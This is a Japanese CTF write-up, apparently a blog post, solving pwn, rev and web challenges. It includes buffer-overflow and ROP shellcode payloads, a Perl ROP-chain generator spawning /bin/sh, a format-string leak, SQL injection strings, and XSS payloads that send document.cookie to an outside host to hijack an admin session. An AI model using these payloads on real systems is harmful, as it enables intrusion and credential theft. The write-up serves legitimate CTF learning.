0i => i
1i => i
-i => i
^i => i
t0 => t
t1 => t
t$ => t
q0 => 0q
q1 => 1q
Q0 => 0Q
Q1 => 1Q
0q$ => $
1Q$ => $
0Q$ => incorrect
1q$ => incorrect
0-$ => incorrect
1-$ => incorrect
^-0 => incorrect
^-1 => incorrect
^-$ => correct
0- => -q
1- => -Q

flag

flag{wtf_tur1n9_c0mpl3t3}

pwn

beginner-generic-pwn-number-0

C言語のソースコード、ELFファイル、TCPサーバの接続情報が与えられた。

ソースコードを読むと、gets関数でデータを読み込んだあと、
ある変数の値が-1ならsystem("/bin/sh");を実行するようになっていた。
ELFファイルをTDM-GCCのobjdumpで逆アセンブルしてチェックすると、

  401299:	48 8d 45 d0          	lea    -0x30(%rbp),%rax
  40129d:	48 89 c7             	mov    %rax,%rdi
  4012a0:	e8 4b fe ff ff       	callq  4010f0 <gets@plt>
  4012a5:	48 83 7d f8 ff       	cmpq   $0xffffffffffffffff,-0x8(%rbp)
  4012aa:	75 0c                	jne    4012b8 <main+0xc2>
  4012ac:	48 8d 3d 35 0f 00 00 	lea    0xf35(%rip),%rdi        # 4021e8 <_IO_stdin_used+0x1e8>
  4012b3:	e8 08 fe ff ff       	callq  4010c0 <system@plt>
  4012b8:	b8 00 00 00 00       	mov    $0x0,%eax

となっており、gets関数のデータの書き込み先からチェックしている変数までは0x28バイトであることがわかる。
これを踏まえ、バイナリエディタで

00000000  66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66  |ffffffffffffffff|
00000010  66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66  |ffffffffffffffff|
00000020  66 66 66 66 66 66 66 66 ff ff ff ff ff ff ff ff  |ffffffff........|
00000030  0a     

というファイルを作成し、Tera Termのファイル送信(バイナリ)で送信すると、シェルの操作が可能になった。
シェルでコマンドcat flag.txtを実行することで、flagが得られた。

flag{im-feeling-a-lot-better-but-rob-still-doesnt-pay-me}

ret2generic-flag-reader

C言語のソースコード、ELFファイル、TCPサーバの接続情報が与えられた。

ソースコードを読むと、gets関数でデータを読み込んでいる部分と、./flag.txtを読み込んで出力する関数があった。
ELFファイルをTDM-GCCのobjdumpで逆アセンブルしてチェックすると、
この関数のアドレスは0x4011f6であることがわかった。

00000000004011f6 <super_generic_flag_reading_function_please_ret_to_me>:

また、gets関数のデータの書き込み先からリターンアドレスまでは0x28バイトであることがわかった。

00000000004013a5 <main>:
  4013a5:	f3 0f 1e fa          	endbr64 
  4013a9:	55                   	push   %rbp
  4013aa:	48 89 e5             	mov    %rsp,%rbp
(中略)
  40141d:	48 8d 45 e0          	lea    -0x20(%rbp),%rax
  401421:	48 89 c7             	mov    %rax,%rdi
  401424:	e8 b7 fc ff ff       	callq  4010e0 <gets@plt>

これを踏まえ、バイナリエディタで

00000000  64 61 74 61 64 61 74 61 64 61 74 61 64 61 74 61  |datadatadatadata|
00000010  64 61 74 61 64 61 74 61 64 61 74 61 64 61 74 61  |datadatadatadata|
00000020  72 62 70 72 62 70 72 62 a4 13 40 00 00 00 00 00  |rbprbprb..@.....|
00000030  f6 11 40 00 00 00 00 00 0a                       |..@......|

というファイルを作成した。
リターンアドレスを直接関数のアドレスに設定すると、
関数の呼び出し時はスタックポインタを16バイトにアラインメントするという制約に違反した状態になるので、
一旦ret命令に飛ばしてアラインメントを調整している。

Tera Termでサーバに接続し、このファイルをファイル送信(バイナリ)で送信すると、flagが得られた。

flag{rob-loved-the-challenge-but-im-still-paid-minimum-wage}

printf-please

C言語のソースコード、ELFファイル、TCPサーバの接続情報が与えられた。

ソースコードを読むと、以下の処理をしていた。

  1. flag.txtの内容をスタック上に読み込む
  2. データを1行読み込み、改行文字を'\0'に置き換える
  3. 読み込んだデータの最初がpleaseならば、読み込んだデータをprintf関数の第1引数に渡す

入力として

please %1$016llx %2$016llx %3$016llx %4$016llx %5$016llx %6$016llx %7$016llx %8$016llx %9$016llx %10$016llx %11$016llx %12$016llx %13$016llx %14$016llx %15$016llx %16$016llx

を与えてみると、

please 00007ffc709ce636 00007ffc709ce6d0 0000000000000000 0000000000000001 00007ff6b1931500 2520657361656c70 786c6c3631302431 6c36313024322520 313024332520786c 24342520786c6c36 2520786c6c363130 786c6c3631302435 6c36313024362520 313024372520786c 24382520786c6c36 2520786c6c363130 to you too!

と出力された。よく見ると6番目にpleaseに相当するデータが出力されていることがわかる。

さらに、ELFファイルをTDM-GCCのobjdumpで逆アセンブルしてチェックすると、以下の部分から、
flagのデータの先頭はpleaseがある入力データの先頭の0x200バイト先にあることが読み取れた。

    118c:	48 89 e5             	mov    %rsp,%rbp
    118f:	4c 8d ac 24 00 02 00 	lea    0x200(%rsp),%r13
(中略)
    11e7:	ba 00 02 00 00       	mov    $0x200,%edx
    11ec:	4c 89 ee             	mov    %r13,%rsi
    11ef:	89 c7                	mov    %eax,%edi
    11f1:	41 89 c4             	mov    %eax,%r12d
    11f4:	31 c0                	xor    %eax,%eax
    11f6:	e8 35 ff ff ff       	callq  1130 <read@plt>
(中略)
    1271:	48 89 ef             	mov    %rbp,%rdi
    1274:	e8 87 fe ff ff       	callq  1100 <printf@plt>

ここで扱うデータ1個は8バイトなので、6番目から64個先のデータ、
すなわち70個目から出力すればflagが得られそうであることがわかる。
少し余裕を持たせた

please %68$016llx %69$016llx %70$016llx %71$016llx %72$016llx %73$016llx %74$016llx %75$016llx %76$016llx %77$016llx

というデータを入力として与えると、

please 0000000000000000 0000000000000000 336c707b67616c66 6e3172705f337361 5f687431775f6674 5f6e303174756163 000a7d6c78336139 0000000000000000 0000000000000000 0000000000000000 to you too!

という出力が返ってきた。
全部0でないデータをCyberChefに入力し、

  • Fork (Split delimiter: 半角空白, Merge delimiter: 空文字列)
  • From Hex
  • Reverse

適用すると、flagが得られた。

flag{pl3as3_pr1ntf_w1th_caut10n_9a3xl}

ret2the-unknown

C言語のソースコード ret2the-unknown.c
ELFファイル3個(ret2the-unknownlibc-2.28.sold-2.28.so)、TCPサーバの接続情報が与えられた。

ソースコードは、gets関数で入力を読み込んだ後、printfのアドレスを出力するものだった。

ret2the-unknownTDM-GCCのobjdumpで逆アセンブルしてチェックすると、
main関数のアドレスが0x401186だとわかり、
さらにgets関数で読み込んだデータの書き込み先からリターンアドレスまでは0x28バイトであるとわかった。
そこで、バイナリエディタで以下のファイルを作成した。

00000000  64 61 74 61 64 61 74 61 64 61 74 61 64 61 74 61  |datadatadatadata|
00000010  64 61 74 61 64 61 74 61 64 61 74 61 64 61 74 61  |datadatadatadata|
00000020  72 62 70 72 62 70 72 62 37 12 40 00 00 00 00 00  |rbprbprb7.@.....|
00000030  86 11 40 00 00 00 00 00 0a                       |..@......|

このファイルをTera Termのファイル送信(バイナリ)で送信すると、
アラインメント調整のためret命令を経由し、main関数をもう一度実行できる。
また、出力されるprintfのアドレスが_IO_printf@@GLIBC_2.2.5関数のアドレスであるであると仮定すると、
libc-2.28.soのメモリ上の位置もわかる。

ROP (Return-Oriented Programming) を狙うためにlibc-2.28.soからバイナリエディタでgadgetを探すと、
例えば以下の位置に見つかった。

pop rax; ret (58 c3) : 0x3a638
pop rdi; ret (5f c3) : 0x23a5f
pop rsi; ret (5e c3) : 0x2440e
pop rdx; ret (5a c3) : 0x106725
syscall      (0f 05) : 0x24104

さらに、libc-2.28.soTDM-GCCのobjdumpによる逆アセンブル結果から
テキストエディタでretを検索して調べたところ、例えば以下の部分がメモリへの書き込みに使えそうだった。

   2393b:	48 89 05 26 cb 19 00 	mov    %rax,0x19cb26(%rip)        # 1c0468 <_nl_msg_cat_cntr@@GLIBC_2.2.5+0xd8>
   23942:	c3                   	retq   

これらを利用し、出力されるprintfのアドレスを与えると、Tera Termのファイル送信(バイナリ)で送信することで
シェルを起動できるファイルを作るプログラムを作成した。

シェルを起動するファイルを作るプログラム
keygen.pl
#!/usr/bin/perl

use strict;
use warnings;

if (@ARGV < 1) { die "please specify the place\n"; }

my $place = hex($ARGV[0]);

my $printf = 0x58560;
my $rax = 0x3a638;
my $rdi = 0x23a5f;
my $rsi = 0x2440e;
my $rdx = 0x106725;
my $syscall = 0x24104;
my $mem = 0x1c0468;
my $mov = 0x2393b;

my $key =
	("d" x 0x20) .                           # fill the buffer
	("s" x 8) .                              # rbp
	pack("Q", $rax + $place - $printf) .     # pop %rax; ret
	"/bin/sh\0" .                            # rax = "/bin/sh"
	pack("Q", $mov + $place - $printf) .     # mov %rax,0x19cb26(%rip); ret
	pack("Q", $rax + $place - $printf) .     # pop %rax; ret
	pack("Q", 59) .                          # rax = 59 (execve)
	pack("Q", $rdi + $place - $printf) .     # pop %rdi; ret
	pack("Q", $mem + $place - $printf) .     # rdi = the address of the buffer
	pack("Q", $rsi + $place - $printf) .     # pop %rsi; ret
	pack("Q", 0) .                           # rsi = 0
	pack("Q", $rdx + $place - $printf) .     # pop %rdx; ret
	pack("Q", 0) .                           # rdx = 0
	pack("Q", $syscall + $place - $printf) . # syscall
	"\n";

binmode(STDOUT);
print $key;

なぜか接続がすぐ切れてしまったものの、素早く操作をすることで、実際に作成したファイルを用いてシェルを起動でき、
シェルでコマンドcat flag.txtを実行することでflagが得られた。

flag{rob-is-proud-of-me-for-exploring-the-unknown-but-i-still-cant-afford-housing}

rev

wstrings

ELFファイルが与えられた。

バイナリエディタでチェックすると、flagと思われる文字列のデータが4バイトごとに入っている部分があった。
このELFファイルにCyberChef

  1. Decode Text (Encoding: UTF-32LE (12000))
  2. Strings

を適用することで、flagが得られた。

flag{n0t_al1_str1ngs_ar3_sk1nny}

bread-making

ELFファイルと、TCPサーバの接続情報が与えられた。

stringsコマンドを適用してみると、よくあるシンボル名などの他に、以下のような文字列が出てきた。

出てきた文字列
it's the next morning
mom doesn't suspect a thing, but asks about some white dots on the bathroom floor
couldn't open/read flag file, contact an admin if running on server
mom finds flour in the sink and accuses you of making bread
mom finds flour on the counter and accuses you of making bread
mom finds burnt bread on the counter and accuses you of making bread
mom finds the window opened and accuses you of making bread
mom finds the fire alarm in the laundry room and accuses you of making bread
the tray burns you and you drop the pan on the floor, waking up the entire house
the flaming loaf sizzles in the sink
the flaming loaf sets the kitchen on fire, setting off the fire alarm and waking up the entire house
pull the tray out with a towel
there's no time to waste
pull the tray out
the window is closed
the fire alarm is replaced
you sleep very well
time to go to sleep
close the window
replace the fire alarm
brush teeth and go to bed
you've taken too long and fall asleep
the dough has risen, but mom is still awake
the dough has been forgotten, making an awful smell the next morning
the dough has risen
the bread needs to rise
wait 2 hours
wait 3 hours
the oven makes too much noise, waking up the entire house
the oven glows a soft red-orange
the dough is done, and needs to be baked
the dough wants to be baked
preheat the oven
preheat the toaster oven
mom comes home and finds the bowl
mom comes home and brings you food, then sees the bowl
the ingredients are added and stirred into a lumpy dough
mom comes home before you find a place to put the bowl
the box is nice and warm
leave the bowl on the counter
put the bowl on the bookshelf
hide the bowl inside a box
the kitchen catches fire, setting off the fire alarm and waking up the entire house
the bread has risen, touching the top of the oven and catching fire
45 minutes is an awfully long time
you've moved around too much and mom wakes up, seeing you bake bread
return upstairs
watch the bread bake
the sink is cleaned
the counters are cleaned
everything appears to be okay
the kitchen is a mess
wash the sink
clean the counters
get ready to sleep
the half-baked bread is disposed of
flush the bread down the toilet
the oven shuts off
cold air rushes in
there's smoke in the air
unplug the oven
unplug the fire alarm
open the window
you put the fire alarm in another room
one of the fire alarms in the house triggers, waking up the entire house
brother is still awake, and sees you making bread
you bring a bottle of oil and a tray
it is time to finish the dough
you've shuffled around too long, mom wakes up and sees you making bread
work in the kitchen
work in the basement
flour has been added
yeast has been added
salt has been added
water has been added
add ingredients to the bowl
add flour
add yeast
add salt
add water
we don't have that ingredient at home!
the timer makes too much noise, waking up the entire house
the bread is in the oven, and bakes for 45 minutes
you've forgotten how long the bread bakes
the timer ticks down
use the oven timer
set a timer on your phone

Tera Termでサーバに接続すると、

add ingredients to the bowl

と出力された。stringsの結果でこの近くにあった

add flour

を送信すると、

flour has been added

と出力された。さらに

add yeast
add salt
add water

の3行も送信すると、

the ingredients are added and stirred into a lumpy dough

と出力され、次の段階に進んだようだった。

TDM-GCCのobjdumpで逆アセンブルして見ると複雑そうだったので、
以下の手順でGhidraによる解析を行った。

  1. 解凍した中にあるファイル ghidraRun.bat を開くことで、Ghidraを起動する
  2. メニューの File から New Project... を選ぶ
  3. Project Type を聞かれるので、Non-Shared Project を選んで Next を押す
  4. 新しい(空の)ディレクトリを作成する
  5. Project Directory を作成したディレクトリ、Project Name を適当な名前(例えばaaa)に設定し、Finish を押す
  6. メニューの File から Import File... を選ぶ
  7. 解析対象のELFファイルを選ぶ
  8. ダイアログが2種類出るので、それぞれ OK を押す
  9. Tool Chest の緑のアイコン (CodeBrowser) を押す
  10. CodeBrowser が起動するので、メニューの File から Open... を選ぶ
  11. 解析対象のファイルを選ぶ
  12. Would you like to analyze it now? と聞かれるので、Yes を押す
  13. Analysis Options ダイアログが開くので、Analyze を押す
  14. Symbol Tree の所にある Functions を展開し、 FUN_00102180 を選択する

結果、

      lVar6 = 0;
      while( true ) {
        iVar3 = strcmp(acStack200,*(char **)(puVar1 + lVar6 * 0x10 + 0x20));
        if (iVar3 == 0) break;
        lVar6 = lVar6 + 1;
        if (lVar2 == lVar6) goto LAB_00102330;
      }
      iVar3 = (**(code **)(puVar1 + lVar6 * 0x10 + 0x28))();
      if (iVar3 == -1) goto LAB_00102330;

という部分があり、文字列と関数の対応テーブルを引いているようだった。
ELFファイルを調べると、以下の対応テーブルが見つかった。

文字列と関数の対応テーブル
5080  000000000000000A 0000000000003327 "there's no time to waste"
5090  00000000000032A0 0000000000000002 "the flaming loaf sets the kitchen on fire, setting off the fire alarm and waking up the entire house"
50A0  0000000000003340 0000000000002660 "pull the tray out"
50B0  0000000000003308 0000000000002680 "pull the tray out with a towel"

50C0  000000000000001E 0000000000003396 "time to go to sleep"
50D0  00000000000033F0 0000000000000003 "you've taken too long and fall asleep"
50E0  00000000000033AA 00000000000026A0 "close the window"
50F0  00000000000033BB 00000000000026D0 "replace the fire alarm"
5100  00000000000033D2 0000000000002700 "brush teeth and go to bed"
5110  0000000000000000 0000000000000000

5120  000000000000001E 00000000000034A1 "the bread needs to rise"
5130  0000000000003448 0000000000000002 "the dough has been forgotten, making an awful smell the next morning"
5140  00000000000034B9 0000000000002720 "wait 2 hours"
5150  00000000000034C6 0000000000002740 "wait 3 hours"

5160  000000000000001E 0000000000003540 "the dough is done, and needs to be baked"
5170  0000000000003569 0000000000000002 "the dough wants to be baked"
5180  0000000000003585 0000000000002760 "preheat the oven"
5190  0000000000003596 0000000000002780 "preheat the toaster oven"

51A0  000000000000001E 0000000000003610 "the ingredients are added and stirred into a lumpy dough"
51B0  0000000000003650 0000000000000003 "mom comes home before you find a place to put the bowl"
51C0  00000000000036A0 00000000000027A0 "leave the bowl on the counter"
51D0  00000000000036BE 00000000000027C0 "put the bowl on the bookshelf"
51E0  00000000000036DC 00000000000027E0 "hide the bowl inside a box"
51F0  0000000000000000 0000000000000000

5200  000000000000000A 0000000000003798 "45 minutes is an awfully long time"
5210  00000000000037C0 0000000000000002 "you've moved around too much and mom wakes up, seeing you bake bread"
5220  0000000000003805 0000000000002800 "return upstairs"
5230  0000000000003815 0000000000002820 "watch the bread bake"

5240  000000000000001E 0000000000003875 "the kitchen is a mess"
5250  00000000000033F0 0000000000000004 "you've taken too long and fall asleep"
5260  000000000000388B 0000000000002840 "wash the sink"
5270  0000000000003899 0000000000002870 "clean the counters"
5280  00000000000038E8 00000000000028A0 "flush the bread down the toilet"
5290  00000000000038AC 00000000000028D0 "get ready to sleep"

52A0  0000000000000005 000000000000392E "there's smoke in the air"
52B0  00000000000039A8 0000000000000003 "one of the fire alarms in the house triggers, waking up the entire house"
52C0  0000000000003947 00000000000028F0 "unplug the oven"
52D0  0000000000003957 0000000000002940 "unplug the fire alarm"
52E0  000000000000396D 0000000000002990 "open the window"
52F0  0000000000000000 0000000000000000

5300  000000000000001E 0000000000003A58 "it is time to finish the dough"
5310  0000000000003A78 0000000000000002 "you've shuffled around too long, mom wakes up and sees you making bread"
5320  0000000000003AC0 0000000000002A10 "work in the kitchen"
5330  0000000000003AD4 0000000000002A30 "work in the basement"

5340  000000000000001E 0000000000003B3C "add ingredients to the bowl"
5350  0000000000003B80 0000000000000004 "we don't have that ingredient at home!"
5360  0000000000003B58 0000000000002A50 "add flour"
5370  0000000000003B62 0000000000002AB0 "add yeast"
5380  0000000000003B6C 0000000000002B10 "add salt"
5390  0000000000003B75 0000000000002B70 "add water"

53A0  000000000000000A 0000000000003BE8 "the bread is in the oven, and bakes for 45 minutes"
53B0  0000000000003C20 0000000000000002 "you've forgotten how long the bread bakes"
53C0  0000000000003C5F 0000000000002C00 "use the oven timer"
53D0  0000000000003C72 0000000000002C20 "set a timer on your phone"

さらに調査を進めた結果、このテーブルの各ブロックについて、
最初の文字列が出力されたら3番目以降の文字列のどれかまたは全てを送信することで、次に進めるようだった。
なぜか接続がすぐ切れてしまったので、送信する文字列をテキストエディタ上に用意し、
一気に貼り付けて送信するようにした。
結果、以下の文字列を送信することで、flagが得られた。

送信する文字列
add flour
add yeast
add salt
add water
hide the bowl inside a box
wait 3 hours
work in the basement
preheat the toaster oven
set a timer on your phone
watch the bread bake
pull the tray out with a towel
open the window
unplug the oven
unplug the fire alarm
wash the sink
clean the counters
flush the bread down the toilet
get ready to sleep
close the window
replace the fire alarm
brush teeth and go to bed
flag{m4yb3_try_f0ccac1a_n3xt_t1m3???0r_dont_b4k3_br3ad_at_m1dnight}

web

inspect-me

WebページのURLが与えられた。

アクセスしてみると、

TODO: remove flag from HTML comment

と書かれていた。
ページのソースを表示してみると、

  <!-- flag{inspect_me_like_123} -->

という形でflagが書かれていた。

flag{inspect_me_like_123}

orm-bad

WebページのURLと、サーバのプログラムapp.jsが与えられた。
WebページにはUsernameとPasswordを入力するフォームがあった。

app.jsをチェックすると、

"SELECT * FROM users WHERE username='" + req.body.username + "' AND password='" + req.body.password + "'"

というクエリを実行し、usernameがadminであればflagを出力するようになっていた。

Usernameをadmin' and (1=1 or ('1'='1、Passwordを1')) and '1'='1とすることで、flagが得られた。

flag{sqli_overused_again_0b4f6}

pastebin-1

WebページのURL、Admin Bot、サーバのプログラムmain.rsが与えられた。
Webページにはテキストの入力欄があり、送信すると入力したテキストがそのままHTMLに反映されるようだった。

<img src="x" onerror="i=document.createElement('img');i.src='https://example.com/'+encodeURIComponent(document.cookie);document.body.appendChild(i);">

example.comを自分のRequestBin.comのエンドポイントのドメインに置き換えたものを送信し、
生成されたページのURLをAdmin Botに送ると、RequestBinに

/flag%3Dflag%7Bd1dn7_n33d_70_b3_1n_ru57%7D

へのリクエストが発生した。
これにブラウザのコンソールでdecodeURIComponentを適用することで、flagが得られた。

flag{d1dn7_n33d_70_b3_1n_ru57}

secure

WebページのURLと、サーバのプログラムindex.jsが与えられた。
WebページはUsernameとPasswordを入力するフォームだった。

index.jsをチェックすると、送信された内容に基づき

  const query = `SELECT id FROM users WHERE
          username = '${req.body.username}' AND
          password = '${req.body.password}';`;

というクエリを実行し、結果が真ならばflagを出力するようになっていた。

とりあえず問題 orm-bad と同じ
Username: admin' and (1=1 or ('1'='1、Password: 1')) and '1'='1を入れてみると、

Incorrect username or password. Query: SELECT id FROM users WHERE username = 'YWRtaW4nIGFuZCAoMT0xIG9yICgnMSc9JzE=' AND password = 'MScpKSBhbmQgJzEnPScx';

と表示された。クエリの受信側で変なことをしている様子はないので、送信側で加工しているようだ。
開発者ツールでチェックすると、要求ペイロードが

username=YWRtaW4nIGFuZCAoMT0xIG9yICgnMSc9JzE%3D&password=MScpKSBhbmQgJzEnPScx

となっているリクエストがあった。このリクエストの要求ボディを

username=a&password='%20union%20select%20'1

に「編集して再送信」することで、flagが得られた。

flag{50m37h1n6_50m37h1n6_cl13n7_n07_600d}

notes

WebページのURL、Admin Bot、サーバのデータ一式が与えられた。
Webページは、ユーザー名とパスワードで登録・ログインするとbodyとtagを指定してメモを投稿できるものだった。
与えられたファイル中のnotes/public/static/view/index.jsを読むと、入力データが

  • bodyは、<>"'の4文字がエスケープされて反映される
  • tagはエスケープされないが、10文字を超えると8文字目以降が...に置換される

という処理を経てinnerHTMLで表示に反映されることがわかった。さらに、

  • bodyでは、エスケープされない`を利用してJavaScriptの文字列リテラルを書くことができる
  • tagでは、属性と'を利用して周辺の余計なデータを無効化出来る (周辺で"は使われているが、'は使われていない)

ということに思い至った。
エスケープされないtagは文字数制限があるため、innerHTMLによる反映でも動く短い属性名を探したところ、
Cross-Site Scripting (XSS) Cheat Sheet - 2021 Edition | Web Security Academy
において

<svg><set onend=alert(1) attributename=x dur=1s>

というものが見つかった。
これを応用し、以下のデータを上から順に投稿した。

body tag
hello <svg x='
hello '><set a='
hello 'dur=1 b='
hello ' onend='`
`; const a=document.createElement(`img`); /* public
*/ a.src=`https://example.com/` + /* public
*/ encodeURIComponent(document.cookie); /* public
*/ document.body.appendChild(a); const x = ` `'/></svg>

ただし、example.comは自分のRequestBin.comのエンドポイントのドメインに置き換えた。
tagはselect要素だったので、開発者ツールでoption要素のvalue属性を書き換えて投稿した。

その後View Notesのページに行くとRequestBinにcookieのデータが送られるのを確認できたので、
このページのURLをAdmin Botに送った。
すると、RequestBinに

/username%3Dadmin.uPoq5EHI5BXHy3ifvT25%252Fds2M3JH2JwsZJPpN0Vn1s8

へのリクエストがあった。
これにブラウザのコンソールでdecodeURIComponentを適用し、
結果のうちusername=の右側の文字列を開発者ツールでcookieのusernameに設定した。
さらに、一旦Homeに行き、そこからView Notesのページに行くと、flagが表示された。

flag{w0w_4n07h3r_60lf1n6_ch4ll3n63}
2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?